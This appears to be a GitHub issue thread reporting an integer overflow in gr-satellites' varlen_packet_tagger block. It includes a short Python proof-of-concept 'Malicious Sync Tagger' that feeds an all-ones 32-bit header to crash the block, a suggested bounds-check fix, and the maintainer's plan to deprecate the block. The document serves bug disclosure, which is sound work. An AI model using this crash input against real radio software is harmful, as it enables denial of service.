Memory Issue in varlen_packet_tagger v5.8.0

[tsmith-vs]

Background

The varlen_packet_tagger block decodes a variable-length packet size from a bitstream header without validating the result. If a crafted sync tag followed by a header decodes to a large value, the block calculates a packet_len that overflows the int type. This results in a negative size being passed to memcpy() (line 153 in varlen_packet_tagger_impl.cc), causing a crash both in the Python flowgraph and GRC.

Here is the flowgraph I used:

And here is the code for the Python Block:

import pmt
import numpy as np
from gnuradio import gr

class malicious_sync_tagger(gr.sync_block):
    def __init__(self):
        gr.sync_block.__init__(self,
            name="Malicious Sync Tagger",
            in_sig=[],                     
            out_sig=[np.uint8])       

        # Header: 0xFFFFFFFF in bits (32 bits of 1s)
        self.header_bits = [1] * 32

        # Payload: small dummy data
        self.payload = [0xAA] * 1024

        self.data = self.header_bits + self.payload
        self.index = 0
        self.tagged = False

    def work(self, input_items, output_items):
        out = output_items[0]
        n = len(out)

        remaining = len(self.data) - self.index
        to_copy = min(n, remaining)

        out[:to_copy] = self.data[self.index:self.index + to_copy]

        if not self.tagged and to_copy > 0:
            offset = self.nitems_written(0)
            # "sync" tag with value = True
            self.add_item_tag(0, offset, pmt.intern("syncword"), pmt.PMT_T, pmt.PMT_NIL)
            self.tagged = True

        self.index += to_copy
        return to_copy

The flowgraph ends up exiting due to memory access error:

And running the Python flowgraph directly results in a segmentation fault:

Recommendation

1. Consider using size_t instead of int for packet_len.
2. Validate the decoded packet_len before using it:

if (packet_len <= 0 || packet_len > d_mtu) {
    d_have_sync = false;
    consume_each(1);
    return 0;
}

[daniestevez]

While this is definitely a bug in varlen_packet_tagger, here is some more context which I already provided in private communication to @tsmith-vs and their company when they approached me reporting this bug as a security vulnerability together with #763:

• varlen_packet_tagger and varlen_packet_framer were introduced 8 years ago in added varlen_packet_tagger block #6 and variable length framer with golay and optional ASM #7, and have basically not been touched ever since except for small modifications including porting them to newer GNU Radio versions. They were introduced by a gr-satellites user for a specific use case, and they are not used elsewhere in gr-satellites. I wouldn't be surprised if these blocks have other bugs.

• I suspect that currently no one is using these blocks. There are better ways of achieving the same with what exists in gr-satellites now. I hope no one is using this old code in production or in anything important.

• It is unreasonable to configure this block with a Packet Length Size parameter of 32 bits, which is required to trigger the undefined behaviour described in this issue. Typical digital communications protocols use packet length fields of sizes ranging between 8 and 16 bits, since the longest packets that they need to handle are just a few kB long.

• Pull requests to fix these bugs (or any other contributions to gr-satellites) are welcome. These bugs could have been fixed in a small fraction of all the time I have spent discussing with @tsmith-vs these and other purported security vulnerabilities in gr-satellites.

The action I will take is to mark these two blocks as deprecated and keep these issues open. If the bugs have not been fixed in one year, I will remove the blocks and close the issues. I think it is fair to say that if no one cares enough about these blocks to fix these trivial bugs, then it is best to remove them.